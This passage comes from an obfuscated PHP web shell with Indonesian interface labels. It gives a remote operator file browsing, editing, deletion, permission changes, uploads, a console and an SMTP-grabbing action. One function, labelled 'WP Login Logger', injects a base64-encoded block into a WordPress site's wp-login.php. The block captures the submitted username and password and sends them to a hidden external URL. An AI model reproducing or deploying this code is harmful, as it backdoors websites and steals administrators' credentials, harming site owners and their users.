IIIIIIIl1ll1($dir, $IIIIIIIl1Ill); } goto gO_7z; unS6P: if (empty($_SESSION["\x6b\145\171\x78\x78"])) { $keyxxx = generateRandomString(); $_SESSION["\x6b\145\x79\x78\x78"] = $keyxxx; } goto eUJt7; yn_qz: function IIIIIIIl1Il1($dir, $IIIIIIII1l1I) { echo "\74\x68\65\76{$IIIIIIII1l1I}\40\x42\165\141\164\x20\x46\x6f\x6c\x64\145\x72\x20\72\x3c\57\150\x35\x3e\12\74\146\x6f\x72\155\x20\x6d\x65\164\150\157\x64\x3d\x27\120\117\123\124\x27\76\12\x3c\x64\x69\x76\x20\x63\154\x61\163\x73\75\47\x69\156\x70\165\x74\55\x67\162\x6f\165\x70\x27\76\12\x3c\151\156\160\165\164\x20\x74\171\x70\x65\75\47\164\145\x78\x74\x27\40\x63\154\x61\163\163\75\x27\x66\x6f\162\x6d\55\x63\x6f\156\x74\162\x6f\154\47\x20\156\x61\155\x65\x3d\x27\x6e\141\155\x61\x5f\146\157\x6c\144\x65\x72\x5b\x5d\x27\40\160\x6c\x61\x63\145\x68\x6f\154\x64\x65\x72\75\x27\x4e\141\x6d\x61\x20\106\157\154\x64\x65\x72\x2e\x2e\56\x27\x3e\12\74\x64\x69\x76\x20\x63\154\x61\163\x73\x3d\47\x69\x6e\x70\165\x74\55\x67\162\157\x75\160\x2d\x70\162\x65\160\x65\x6e\144\x27\76\12\74\x64\151\x76\x20\143\154\x61\x73\x73\x3d\x27\x69\x6e\160\x75\164\x2d\x67\x72\157\x75\x70\55\164\145\170\x74\x27\x3e\x3c\x61\40\151\144\75\x27\141\x64\144\x5f\151\156\x70\x75\164\x31\47\76\x3c\x69\x20\143\154\x61\x73\163\x3d\47\x66\141\x20\146\141\55\x70\154\x75\163\x27\76\74\x2f\x69\x3e\x3c\57\x61\76\x3c\57\x64\x69\166\76\12\x3c\57\144\151\x76\76\xa\74\57\144\151\166\76\74\x62\162\x2f\76\xa\x3c\144\151\166\40\151\x64\75\x27\x6f\165\164\x70\165\164\61\47\x3e\x3c\x2f\144\151\x76\76\xa\74\x69\156\x70\x75\x74\40\x74\171\x70\145\x3d\x27\x73\165\142\x6d\x69\x74\47\x20\143\x6c\x61\x73\163\x3d\47\x62\x74\x6e\x20\142\x74\x6e\x2d\x73\x75\x63\x63\x65\163\x73\40\x62\164\x6e\55\x62\154\157\x63\153\40\155\142\x2d\x35\47\x20\x6e\141\x6d\145\75\x27\x62\165\141\x74\47\x20\x76\141\154\165\145\x3d\x27\x42\165\141\x74\x27\76\xa\74\x2f\x66\x6f\162\x6d\76"; if (isset($_POST["\142\x75\x61\164"])) { $IIIIIIIl1I1I = $_POST["\x6e\x61\x6d\x61\x5f\x66\x6f\154\x64\x65\x72"]; foreach ($IIIIIIIl1I1I as $nama_folder) { $folder = preg_replace("\x28\133\x5e\x5c\x77\134\163\134\x64\x5c\55\x5f\176\54\x3b\x3a\x5c\133\134\x5d\134\50\134\135\x2e\135\x7c\x5b\x5c\x2e\x5d\173\62\x2c\175\x29", '', $nama_folder); $IIIIIIIl1lIl = @mkdir($folder); } if ($IIIIIIIl1lIl) { $IIIIIIIlIl1l = "\x73\x75\x63\x63\x65\x73\x73"; $IIIIIIIlIl11 = "\102\x65\x72\150\141\163\x69\154\x20\115\x65\155\142\165\x61\x74\40\x46\x6f\154\144\145\162"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { $IIIIIIIlIl1l = "\145\x72\x72\157\x72"; $IIIIIIIlIl11 = "\x47\x61\147\141\x6c\40\115\145\155\x62\165\x61\164\x20\x46\x6f\x6c\x64\145\x72"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } } } goto Veqhf; M0Ns2: $auth_pass5 = "\144\70\x33\67\x65\62\142\x61\x33\143\65\x35\x30\x66\x36\x37\71\61\65\60\142\x65\x36\x36\70\70\x32\143\67\143\x34\67\x66\60\66\141\x64\x62\63\x37"; goto unS6P; eLB0i: function logger($dir) { echo "\x3c\144\151\166\40\143\x6c\141\163\x73\x3d\x22\x63\141\162\x64\40\155\x62\55\65\42\76\12\74\144\x69\x76\x20\x63\154\x61\163\x73\75\42\143\141\162\144\x2d\142\x6f\x64\171\x20\x66\x6f\x72\155\x2d\x67\x72\157\165\160\x22\x3e"; echo "\x3c\x70\x20\143\154\x61\x73\163\x3d\42\x74\145\170\164\x2d\x77\141\162\156\x69\x6e\147\40\164\x65\170\x74\55\x63\x65\156\164\145\x72\40\x66\157\x6e\x74\x2d\167\145\x69\147\x68\164\55\x62\157\154\144\42\x3e\x57\120\40\x4c\157\x67\151\156\40\x4c\157\x67\147\x65\162\x3c\x2f\160\76"; echo "\x3c\146\x6f\x72\x6d\x20\x6d\x65\x74\150\157\144\75\x22\x70\157\x73\x74\42\x3e"; echo "\x3c\x63\145\x6e\164\145\162\76\74\151\x6e\x70\x75\164\x20\143\x6c\x61\x73\x73\75\42\142\164\156\x20\142\164\156\55\163\165\x63\x63\145\163\x73\x22\x20\x74\x79\160\x65\x3d\x22\x73\165\142\155\x69\x74\42\40\x6e\x61\155\x65\75\42\x69\x6e\x6a\145\x63\164\154\157\147\x67\x65\x72\42\40\x76\141\154\165\145\x3d\x22\x53\x65\164\x75\160\40\x4c\157\x67\147\145\162\x22\x3e\74\x2f\143\145\x6e\x74\x65\x72\76"; echo "\74\57\146\x6f\x72\155\76"; if (isset($_POST["\151\156\x6a\x65\143\164\x6c\x6f\x67\147\145\162"])) { $logger_result = ''; $startDirectory = realpath(__DIR__); if ($startDirectory !== $_SERVER["\104\x4f\103\x55\115\105\116\124\x5f\x52\117\117\x54"]) { $wplog = $startDirectory . "\x2f\x77\x70\x2d\154\157\x67\x69\156\x2e\160\x68\x70"; } else { $wplog = $_SERVER["\x44\x4f\103\x55\115\105\116\x54\137\122\117\117\124"] . "\57\167\x70\55\154\157\147\151\156\56\160\150\x70"; } $f = fopen($wplog, "\162\x2b"); $oldstr = file_get_contents($wplog); $str_to_insert = base64_decode("\x4a\107\106\153\x62\x57\x6c\165\130\x33\144\167\x58\62\170\166\x5a\x32\x6c\165\x58\62\x4e\x6f\x5a\127\116\x72\x58\62\154\x75\x64\x47\126\x79\x64\155\x46\163\x58\62\116\x76\x62\62\x74\160\x5a\x53\x41\71\x49\103\112\151\131\123\x49\147\114\x69\x41\x69\x63\171\111\x67\114\x69\101\151\x5a\124\x59\x69\x49\103\x34\x67\x49\x6a\x51\x69\x49\103\64\147\111\154\70\x69\x49\103\x34\x67\x49\155\121\x69\111\x43\64\x67\x49\155\x55\151\x49\103\64\147\111\155\x4d\151\111\x43\x34\147\x49\155\x39\x6b\132\123\x49\67\103\151\x52\150\132\x47\61\x70\x62\x6c\71\63\143\106\x39\163\142\x32\144\160\x62\x6c\71\152\x61\107\126\x6a\x61\61\x39\x70\x62\x6e\x52\x6c\x63\x6e\x5a\150\142\106\x39\x79\132\x58\x46\x31\132\130\x4e\60\x49\104\60\x67\x49\x6d\112\150\111\151\101\x75\x49\x43\x4a\x7a\x49\151\101\x75\x49\x43\x4a\154\116\x69\x49\x67\x4c\151\101\x69\116\x43\111\147\114\x69\101\151\130\x79\x49\147\x4c\151\x41\x69\x5a\x53\x49\147\114\151\101\x69\x62\x69\x49\x67\114\x69\x41\151\131\171\111\147\114\151\101\151\142\62\x52\x6c\111\x6a\163\x4b\x4a\107\x46\153\142\127\x6c\165\x58\62\x4e\166\x62\62\164\x70\132\x56\x39\x70\142\x6e\x52\154\143\156\x5a\x68\x62\x46\x39\x31\x63\155\x77\147\x50\x51\157\153\x59\x57\122\x74\141\127\65\x66\x64\x33\102\x66\x62\x47\x39\x6e\x61\127\65\x66\131\x32\150\x6c\131\x32\164\x66\x61\x57\65\x30\132\x58\112\62\131\x57\x78\146\131\x32\71\x76\141\x32\154\x6c\x4b\103\112\150\x53\106\111\x77\x59\x30\x52\166\x64\x6b\x77\x79\145\x48\x5a\132\115\x6b\x5a\x7a\131\125\143\65\145\155\x52\x44\x4f\130\x64\152\x62\127\167\171\124\x30\x4d\65\141\154\x6c\x59\x51\152\102\153\x57\x45\160\x73\x59\153\x63\65\x62\x6d\x46\x58\x4e\110\x56\x6a\x52\x32\150\63\x55\104\x4a\107\x61\62\x4a\x58\x62\x48\126\x68\x57\105\105\x35\111\151\x6b\x67\114\151\101\113\x4a\x47\x46\x6b\142\127\x6c\x75\130\63\x64\x77\x58\62\170\x76\132\62\154\x75\x58\62\x4e\157\132\x57\116\162\x58\62\154\x75\x64\x47\126\x79\x64\x6d\x46\163\130\63\x4a\154\143\x58\126\x6c\x63\63\x51\x6f\144\x33\x42\146\142\x47\71\156\141\x57\65\146\x64\x58\112\x73\113\103\153\160\111\x43\x34\147\x49\x69\132\x75\x59\x57\x31\x6c\120\123\111\147\114\151\x41\113\112\x47\106\x6b\x62\127\154\165\x58\63\144\167\x58\x32\x78\x76\x5a\x32\x6c\x75\130\62\x4e\x6f\132\127\116\162\130\x32\x6c\x75\x64\107\126\x79\x64\155\106\x73\130\x33\x4a\154\143\x58\126\154\x63\x33\121\157\x4a\x46\x39\121\x54\61\x4e\x55\x57\x79\x4a\x73\142\x32\x63\x69\x58\x53\x6b\147\114\x69\101\151\112\x6e\102\150\143\63\x4e\63\x62\x33\x4a\x6b\x50\123\111\x67\114\x69\101\113\112\x47\x46\x6b\142\127\154\x75\x58\63\x64\x77\130\62\x78\x76\132\62\x6c\x75\130\62\116\x6f\132\127\x4e\162\x58\x32\154\165\144\x47\126\x79\x64\x6d\x46\x73\130\x33\112\154\143\130\x56\x6c\x63\63\121\157\x4a\x46\x39\x51\124\61\x4e\125\x57\x79\x4a\167\x64\x32\x51\151\130\123\x6b\x37\103\x69\122\150\x5a\107\x31\x70\x62\154\x39\152\142\62\x39\162\x61\127\126\146\141\127\65\60\132\x58\112\62\131\127\167\147\x50\x53\x42\x6d\141\127\x78\x6c\130\x32\144\154\x64\x46\x39\x6a\x62\x32\65\60\x5a\x57\65\x30\x63\x79\x67\153\x59\127\122\x74\141\127\65\x66\x59\62\71\166\x61\62\154\x6c\130\62\154\x75\x64\107\x56\171\144\x6d\x46\x73\x58\63\126\x79\x62\x43\153\x37\103\x69\122\63\143\x46\71\x68\132\x47\x31\x70\142\x6c\71\x6a\142\x32\71\x72\x61\x57\x56\x66\x61\127\65\x30\x5a\x58\x4a\62\x59\127\170\146\144\130\x4a\163\x49\x44\x30\x4b\112\x47\x46\153\142\x57\154\x75\130\63\144\x77\x58\62\x78\166\132\62\x6c\165\130\x32\x4e\157\132\127\x4e\x72\130\62\x6c\x75\144\x47\x56\x79\x64\x6d\x46\163\130\62\116\166\142\62\x74\160\x5a\x53\147\151\x59\125\150\123\x4d\x47\x4e\x49\x54\x54\132\x4d\145\x54\x6c\66\127\154\x68\x53\x65\154\x6c\x58\x4e\x57\164\x6a\x4d\x6c\131\167\x5a\105\x64\x73\x64\x56\x6f\x7a\x54\x58\126\132\x4d\152\154\x30\124\104\116\x53\x55\154\x56\164\125\x6b\132\x56\115\61\112\x4f\126\107\x35\x4a\144\x57\116\110\x61\110\x64\121\115\153\x5a\162\x59\154\144\163\x64\127\x46\x59\121\x54\x6b\x69\113\x53\x41\165\111\101\x6f\x6b\x59\x57\122\x74\141\127\65\146\x64\63\102\x66\x62\107\x39\156\x61\127\x35\x66\131\62\x68\x6c\x59\x32\164\146\x61\127\x35\60\132\130\112\62\131\x57\x78\x66\143\155\126\x78\144\x57\126\172\x64\x43\150\63\x63\106\x39\163\142\x32\x64\x70\x62\154\71\61\x63\x6d\167\x6f\113\x53\x6b\147\114\151\101\151\112\x6d\x35\x68\x62\x57\x55\71\111\151\x41\165\111\x41\x6f\x6b\131\x57\122\x74\141\x57\65\146\144\x33\x42\146\x62\107\71\x6e\141\x57\x35\146\x59\62\x68\154\x59\62\x74\x66\141\x57\65\x30\132\130\112\x32\131\x57\170\146\x63\x6d\x56\x78\x64\127\126\172\x64\103\x67\x6b\130\61\102\x50\125\x31\122\142\x49\155\170\x76\x5a\171\112\144\113\123\101\165\x49\x43\x49\155\143\107\106\172\143\x33\x64\x76\143\155\x51\71\x49\151\x41\165\x49\101\157\153\x59\127\122\x74\141\x57\x35\146\x64\63\102\146\x62\107\x39\x6e\141\x57\x35\146\x59\62\x68\154\x59\62\x74\x66\x61\127\x35\60\x5a\x58\x4a\x32\131\x57\x78\146\x63\x6d\x56\170\144\127\x56\172\x64\x43\x67\153\130\x31\102\120\x55\61\122\142\111\156\102\x33\x5a\x43\112\144\113\x54\163\x4b\112\x48\x64\x77\x58\62\x46\153\x62\x57\x6c\165\130\x32\116\166\142\62\164\x70\x5a\x56\x39\160\x62\x6e\x52\154\x63\156\132\150\x62\x43\101\x39\111\x47\132\160\142\x47\126\146\x5a\x32\x56\x30\x58\x32\116\x76\142\x6e\x52\x6c\142\156\122\x7a\113\103\122\63\143\106\x39\x68\x5a\x47\x31\x70\x62\154\71\x6a\142\x32\71\162\141\x57\126\x66\x61\x57\65\x30\132\x58\112\62\131\127\x78\x66\x64\130\112\163\x4b\124\163\x4b\132\156\x56\x75\x59\63\x52\160\142\x32\64\147\132\x32\x56\60\x58\63\144\x76\x63\155\122\x77\x63\x6d\x56\x7a\143\x31\x39\x7a\144\110\112\61\131\x33\122\x31\x63\155\x55\157\112\110\x56\x79\x62\x43\153\147\x65\x77\157\x67\111\103\x41\x67\x4a\107\116\x6f\x49\x44\60\147\131\63\x56\x79\x62\106\71\x70\142\155\154\60\x4b\103\x6b\x37\103\151\101\x67\111\x43\x42\x6a\144\130\x4a\x73\130\x33\x4e\x6c\x64\107\71\167\144\103\147\153\x59\62\x67\x73\111\x45\x4e\126\x55\x6b\x78\x50\125\x46\x52\146\126\126\112\x4d\114\x43\101\153\144\x58\112\x73\x4b\x54\163\113\x49\x43\x41\x67\x49\x47\116\61\143\155\x78\146\143\x32\x56\60\x62\x33\102\60\x4b\x43\122\x6a\x61\103\x77\x67\121\x31\126\123\x54\x45\71\x51\126\106\x39\123\x52\126\122\126\125\153\65\x55\125\153\106\117\125\x30\x5a\106\125\x69\x77\147\115\x53\153\x37\x43\x69\101\147\111\x43\102\x6a\x64\x58\x4a\163\130\x33\x4e\x6c\x64\x47\71\167\x64\x43\147\x6b\x59\x32\x67\163\x49\x45\116\x56\x55\x6b\x78\x50\125\106\x52\146\x55\x31\x4e\x4d\130\x31\132\106\125\x6b\154\x47\127\125\x68\x50\125\x31\121\x73\x49\107\x5a\150\x62\x48\x4e\154\x4b\124\x73\113\111\103\x41\147\111\x47\x4e\61\x63\155\x78\x66\143\62\x56\x30\142\63\102\60\113\103\x52\x6a\141\x43\x77\147\x51\61\x56\123\x54\x45\x39\121\126\106\x39\x54\x55\x30\170\x66\126\x6b\x56\x53\123\125\132\x5a\125\105\x56\x46\x55\151\x77\147\132\155\x46\163\x63\x32\x55\160\x4f\x77\157\x67\111\103\101\147\x59\63\126\x79\x62\106\71\x7a\x5a\x58\122\166\143\110\121\157\112\x47\x4e\157\114\x43\102\104\126\126\112\115\124\x31\102\x55\130\x30\x4e\x50\124\x6b\x35\106\x51\61\x52\x55\x53\x55\61\106\124\61\x56\x55\x4c\103\x41\170\113\x54\163\x4b\x49\x43\101\x67\111\x47\116\x31\143\155\x78\146\143\62\x56\60\142\x33\x42\x30\x4b\103\122\152\x61\x43\167\x67\x51\61\126\123\x54\x45\x39\x51\x56\x46\71\x55\x53\x55\61\106\x54\x31\126\x55\114\103\101\x7a\x4b\x54\x73\113\111\x43\101\147\111\107\116\61\x63\155\170\146\x5a\x58\150\154\x59\171\147\x6b\x59\62\147\x70\117\x77\x6f\147\x49\103\x41\x67\131\63\x56\171\142\106\x39\x6a\x62\x47\71\172\132\x53\x67\x6b\x59\62\147\x70\x4f\x77\x6f\x67\x49\x43\x41\147\x63\x6d\x56\x30\144\130\x4a\165\x49\110\122\x79\144\x57\125\67\103\x6e\60\113\141\x57\x59\147\113\107\126\164\143\x48\x52\x35\113\x43\122\150\132\x47\x31\160\x62\x6c\x39\x6a\142\x32\x39\x72\141\127\x56\146\x61\x57\x35\60\132\x58\112\x32\131\127\x77\160\x4b\123\x42\x37\x43\151\101\147\x49\x43\102\x6e\x5a\130\x52\x66\x64\62\x39\x79\132\110\102\171\132\x58\116\x7a\x58\63\116\x30\143\156\126\152\144\110\126\171\x5a\x53\147\153\x59\x57\x52\164\141\x57\65\x66\x59\x32\x39\x76\141\x32\154\154\x58\62\154\x75\144\x47\x56\x79\144\x6d\x46\x73\130\63\126\171\x62\103\153\x37\103\x6e\60\113\x61\127\131\x67\x4b\107\126\164\143\x48\122\x35\x4b\103\122\63\143\x46\x39\150\x5a\107\x31\x70\x62\x6c\x39\152\x62\62\x39\x72\141\x57\126\146\x61\127\65\60\x5a\130\x4a\x32\x59\127\x77\x70\x4b\x53\x42\x37\103\151\101\147\x49\103\x42\156\x5a\130\122\146\144\x32\71\x79\x5a\110\x42\171\x5a\130\x4e\172\130\x33\116\x30\x63\x6e\126\152\144\110\126\x79\x5a\123\x67\x6b\x64\63\x42\x66\x59\127\122\x74\x61\127\x35\146\131\x32\71\166\141\62\154\154\130\62\x6c\165\144\107\x56\x79\x64\x6d\106\x73\130\x33\x56\x79\142\x43\153\67\x43\x6e\60\x3d"); $specificLine = "\151\146\x20\50\40\50\x20\x65\x6d\160\164\x79\50\40\44\x72\145\144\151\x72\145\x63\164\x5f\x74\x6f\x20\51\40\x7c\x7c\x20\47\167\x70\x2d\141\144\155\151\156\x2f\47\x20\x3d\75\x3d\40\x24\x72\145\x64\x69\162\145\x63\164\x5f\x74\x6f\40\174\x7c\x20\141\x64\x6d\151\156\137\165\162\154\50\x29\40\x3d\x3d\75\x20\x24\162\x65\x64\151\x72\145\x63\164\x5f\164\157\40\51\x20\x29\x20\x7b"; $stringkita = "\44\x61\x64\x6d\151\156\137\x77\160\x5f\x6c\x6f\x67\x69\156\137\x63\x68\145\143\x6b\x5f\151\156\x74\145\162\166\x61\154\137\x63\x6f\157\153\x69\145"; while (($buffer = fgets($f)) !== false) { if (strpos(file_get_contents($wplog), $stringkita) !== false) { $logger_result = "\74\x63\x65\156\x74\145\x72\76\74\163\x70\141\x6e\40\143\154\141\163\x73\75\x22\x74\145\x78\164\x2d\x69\156\x66\157\40\x74\x65\170\x74\55\143\x65\x6e\164\145\162\40\146\157\156\x74\55\x77\145\151\x67\150\164\55\x62\x6f\x6c\144\42\76\x4c\157\147\147\145\162\x20\123\x75\144\141\150\x20\104\x69\x69\x6e\152\x65\x63\x74\x21\74\57\x73\160\x61\156\x3e\74\x2f\x63\x65\x6e\x74\x65\162\76\74\x62\162\x3e"; } elseif (strpos($buffer, $specificLine) !== false) { $pos = ftell($f); $newstr = substr_replace($oldstr, $str_to_insert, $pos, 0); $status = file_put_contents($wplog, $newstr); if ($status) { $logger_result .= "\74\143\145\x6e\x74\x65\162\76\74\x73\x70\141\156\40\143\154\141\x73\163\x3d\42\x74\x65\x78\x74\55\x73\165\143\x63\x65\x73\163\40\x74\x65\170\164\55\x63\x65\156\164\x65\162\40\x66\157\x6e\x74\x2d\167\x65\151\147\x68\164\x2d\142\x6f\154\x64\42\76\102\x65\162\150\x61\163\151\x6c\40\x49\x6e\152\x65\x63\164\x20\x4c\157\x67\147\x65\x72\41\74\57\163\160\x61\x6e\x3e\74\57\x63\x65\156\164\145\x72\x3e\74\142\162\76"; } else { $logger_result .= "\x3c\x63\145\x6e\164\x65\162\x3e\x3c\x73\x70\x61\156\x20\143\x6c\x61\x73\x73\75\x22\164\145\x78\x74\55\x64\x61\156\147\145\x72\40\164\145\170\164\55\x63\x65\x6e\164\145\x72\40\146\x6f\156\164\55\167\x65\x69\147\x68\x74\x2d\142\157\x6c\144\x22\x3e\107\141\147\141\154\x20\111\x6e\152\x65\x63\164\40\114\157\147\x67\x65\x72\41\x3c\x2f\163\160\x61\156\76\74\57\143\x65\156\x74\x65\x72\76\x3c\142\162\x3e"; } break; } } fclose($f); echo "\x3c\144\x69\x76\40\x73\164\171\x6c\145\x3d\x22\142\x6f\162\144\x65\x72\x2d\x62\x6f\x74\x74\157\155\72\60\x3b\155\x61\x72\x67\x69\156\55\x74\x6f\160\x3a\x35\x70\x78\x3b\x22\x20\x72\145\141\144\x6f\x6e\x6c\171\76"; print_r($logger_result) . PHP_EOL; echo "\x3c\57\144\x69\166\76"; } echo "\x3c\57\144\151\166\x3e\74\57\144\151\x76\76"; } goto my3Jv; PS3VR: if ($_GET["\141\153\x73\151"] == "\163\155\x74\x70\147\162\141\x62") { IIIIIIllII11($dir); } goto ceoRa; kxXTS: function IIIIIIIll1lI($dir, $file, $IIIIIIIlllIl, $IIIIIIII1l1l) { echo "\x5b\40\x3c\141\40\x68\x72\x65\x66\75\42\x3f\x64\151\162\75" . $dir . "\46\141\x6b\x73\151\75\166\151\145\167\46\x66\151\154\145\x3d" . $file . "\x22\76\114\x69\150\x61\x74\74\57\141\x3e\40\x5d\40\40\133\x20\x3c\x61\x20\143\x6c\141\x73\163\75\42\x61\143\164\151\166\x65\x22\40\x68\x72\x65\x66\x3d\x22\77\144\151\x72\75" . $dir . "\x26\141\153\163\151\75\145\x64\x69\x74\x26\146\x69\154\145\x3d" . $file . "\42\x3e\x45\144\151\164\74\57\141\x3e\40\x5d\x20\x20\133\x20\x3c\141\x20\x68\x72\145\x66\75\42\77\144\x69\x72\x3d" . $dir . "\x26\x61\x6b\163\151\x3d\x72\145\x6e\141\155\145\46\146\151\154\145\x3d" . $file . "\x22\76\122\x65\x6e\141\x6d\145\x3c\x2f\141\76\40\x5d\40\x20\133\x20\74\x61\40\150\x72\145\x66\75\42\x3f\144\151\162\x3d" . $dir . "\x26\141\153\163\x69\x3d\x68\x61\x70\165\x73\x66\x26\146\x69\154\x65\x3d" . $file . "\x22\76\104\145\154\145\164\x65\x3c\x2f\x61\76\40\135"; echo "\74\146\x6f\162\x6d\x20\155\x65\x74\x68\157\x64\75\47\120\117\x53\x54\x27\x3e\12\74\x68\65\x3e{$IIIIIIII1l1l}\40\105\x64\x69\x74\x20\106\x69\x6c\x65\40\72\40{$IIIIIIIlllIl}\74\x2f\150\65\76\xa\74\164\145\x78\164\141\x72\x65\141\40\162\157\167\x73\x3d\x27\61\65\x27\x20\143\x6c\x61\163\x73\75\47\x66\157\162\155\55\x63\157\156\x74\x72\x6f\x6c\x27\40\156\x61\155\x65\75\47\151\x73\x69\47\x3e" . htmlspecialchars(@file_get_contents($file)) . "\74\57\164\145\x78\x74\x61\x72\145\x61\x3e\x3c\x62\x72\x2f\x3e\12\74\x62\165\164\164\157\x6e\x20\164\x79\160\145\x3d\x27\x73\165\155\x62\x69\164\x27\x20\x63\154\141\x73\x73\x3d\x27\142\164\x6e\40\142\x74\x6e\x2d\x73\165\x63\x63\145\x73\163\x20\142\x74\156\55\142\154\x6f\143\x6b\40\155\x62\55\x35\47\40\156\x61\155\145\75\47\145\x64\x69\x74\x5f\x66\151\x6c\145\47\x3e\x55\x70\144\141\164\x65\74\57\142\x75\164\x74\x6f\156\x3e\xa\x3c\57\x66\x6f\162\155\x3e"; if (isset($_POST["\x65\x64\x69\x74\x5f\x66\151\x6c\x65"])) { $IIIIIIIll1ll = fopen("{$file}", "\x77"); $IIIIIIIll1l1 = fwrite($IIIIIIIll1ll, $_POST["\151\163\x69"]); if ($IIIIIIIll1l1) { $IIIIIIIlIl1l = "\x73\x75\143\x63\145\x73\163"; $IIIIIIIlIl11 = "\x42\x65\162\150\x61\x73\x69\x6c\40\x55\160\144\141\164\x65\x20\106\x69\154\x65"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { $IIIIIIIlIl1l = "\x65\162\162\157\x72"; $IIIIIIIlIl11 = "\107\141\x67\141\154\40\125\x70\144\x61\164\x65\x20\x46\x69\x6c\145"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } } } goto QTjBe; U01q1: ini_set("\154\x6f\147\137\145\x72\162\157\162\163", 0); goto iDKvO; r5bnQ: foreach ($IIIIIIIIl1l1 as $id => $IIIIIIllllII) { if ($IIIIIIllllII == '' && $id == 0) { $IIIIIIllllIl = true; echo "\x3c\x61\40\x68\x72\145\146\x3d\42\77\x64\151\x72\75\x2f\x22\76\57\74\x2f\141\x3e"; continue; } if ($IIIIIIllllII == '') { continue; } echo "\x3c\x61\x20\163\164\x79\154\145\x3d\42\167\157\x72\x64\x2d\167\162\141\160\72\142\x72\x65\x61\x6b\55\x77\x6f\162\x64\73\42\40\x68\162\x65\x66\75\x22\x3f\x64\151\x72\75"; for ($IIIIIIII11I1 = 0; $IIIIIIII11I1 <= $id; $IIIIIIII11I1++) { echo "{$IIIIIIIIl1l1[$IIIIIIII11I1]}"; if ($IIIIIIII11I1 != $id) { echo "\57"; } } echo "\x22\76" . $IIIIIIllllII . "\74\x2f\x61\76\x2f"; } goto JV7W3; tgxbG: function IIIIIIII11l1($IIIIIIII111I, $IIIIIIII111l, $IIIIIIII1111) { if (strpos($IIIIIIII111I, $IIIIIIII111l) === FALSE) { return FALSE; } if (strpos($IIIIIIII111I, $IIIIIIII1111) === FALSE) { return FALSE; } $start = strpos($IIIIIIII111I, $IIIIIIII111l) + strlen($IIIIIIII111l); $IIIIIIIlIII1 = strpos($IIIIIIII111I, $IIIIIIII1111, $start); $IIIIIIIlIIlI = substr($IIIIIIII111I, $start, $IIIIIIIlIII1 - $start); return $IIIIIIIlIIlI; } goto nwSu2; R6_EV: $IIIIIIIIII1I = true; goto yjCw8; kCWJ2: foreach ($IIIIIIllllI1 as $dir) { $IIIIIIlllllI = date("\144\57\155\57\x79\40\107\x3a\151", filemtime("{$dir}")); if (strlen($dir) > 30) { $IIIIIIllll1l = substr($dir, 0, 30) . "\56\56\x2e"; } else { $IIIIIIllll1l = $dir; } $IIIIIIllll11 = $IIIIIIllll1l; if (!is_dir($path . "\x2f" . $dir) || $dir == "\56" || $dir == "\56\x2e") { continue; } echo "\x3c\x74\162\x20\x63\154\141\163\163\x3d\42\164\145\x78\164\x2d\143\x65\156\164\145\x72\42\x3e\xa\74\164\144\x20\x63\154\x61\x73\x73\x3d\42\160\151\x6e\147\x67\151\162\42\76" . $IIIIIIII1l1I . "\40\x3c\x61\x20\143\x6c\x61\x73\163\x3d\42\155\x6c\x2d\63\x22\x20\x68\x72\145\x66\75\42\x3f\x64\151\162\75" . $path . "\x2f" . $dir . "\x22\76" . $IIIIIIllll11 . "\x3c\57\x61\76\74\x2f\164\x64\76\xa\74\x74\x64\x3e\55\x2d\74\x2f\164\x64\76\xa\x3c\x74\144\x3e" . $IIIIIIlllllI . "\74\57\164\x64\x3e\12\x3c\164\x64\76\xa\74\x61\40\x68\x72\x65\146\75\42\77\x64\x69\x72\75" . $path . "\x2f" . $dir . "\x26\141\x6b\163\x69\x3d\x63\x68\x6d\157\144\137\x64\x69\x72\42\x3e\12"; if (is_writable($path . "\x2f" . $dir)) { echo "\74\146\157\156\164\40\x63\x6f\154\157\x72\x3d\x22\x23\x30\x30\146\x66\x30\60\42\x3e"; } elseif (!is_readable($path . "\x2f" . $dir)) { echo "\x3c\146\x6f\x6e\164\x20\x63\x6f\154\x6f\x72\75\42\x72\x65\x64\x22\x3e"; } echo fileperms($path . "\x2f" . $dir); if (is_writable($path . "\57" . $dir) || !is_readable($path . "\57" . $dir)) { echo "\x3c\57\146\157\156\164\x3e\x3c\x2f\141\x3e\74\x2f\164\x64\x3e\12\74\164\144\76\x3c\x61\40\x74\x69\x74\154\x65\75\42\122\145\156\x61\x6d\x65\42\40\143\154\x61\163\x73\75\42\142\141\144\147\x65\40\x62\141\144\147\145\x2d\x73\165\143\x63\x65\x73\x73\42\x20\x68\162\145\146\x3d\x22\x3f\144\x69\162\75" . $path . "\57" . $dir . "\x26\x61\153\x73\151\75\162\x65\156\x61\x6d\x65\137\146\157\x6c\x64\x65\x72\x22\x3e\x26\156\142\163\x70\73\74\151\x20\143\x6c\x61\163\163\x3d\x22\x66\141\x73\x20\146\x61\55\x70\145\x6e\x22\x3e\x3c\57\151\76\x26\156\x62\163\x70\73\x3c\x2f\x61\x3e\46\x6e\x62\163\160\73\x26\x6e\x62\163\x70\x3b\x3c\x61\x20\164\151\164\x6c\145\75\x22\x44\x65\x6c\145\x74\x65\x22\40\x63\154\x61\163\x73\x3d\x22\x62\141\144\147\x65\x20\x62\x61\144\x67\x65\55\x64\141\156\147\145\162\42\40\x68\x72\145\146\x3d\42\x3f\144\x69\162\75" . $path . "\57" . $dir . "\x26\x61\153\163\151\x3d\150\141\160\x75\x73\x5f\146\x6f\x6c\x64\145\162\42\76\46\x6e\142\x73\x70\x3b\74\x69\x20\x63\x6c\x61\163\163\75\42\146\141\x20\146\141\55\164\162\x61\163\x68\42\x3e\x3c\x2f\x69\x3e\x26\156\x62\x73\160\73\x3c\57\141\76\12\74\57\164\x64\x3e\12\74\57\x74\x72\76"; } } goto smfiU; XDx1i: if ($_GET["\x61\153\163\151"] == "\x63\157\x6e\x73\157\x6c\x65\170") { consolex($dir); } goto VduaH; lDEHU: function uploaderx($dir) { echo "\74\x64\x69\166\x20\143\x6c\x61\x73\163\x3d\42\143\x61\162\144\40\x6d\x62\55\x35\42\x3e\12\x3c\x64\x69\166\x20\143\154\141\163\163\x3d\x22\143\141\x72\144\55\x62\x6f\x64\x79\40\x66\x6f\x72\x6d\x2d\147\x72\157\x75\160\x22\x3e"; $phpinfo_result = ''; $startDirectory = realpath(__DIR__); $isiphpinfo = 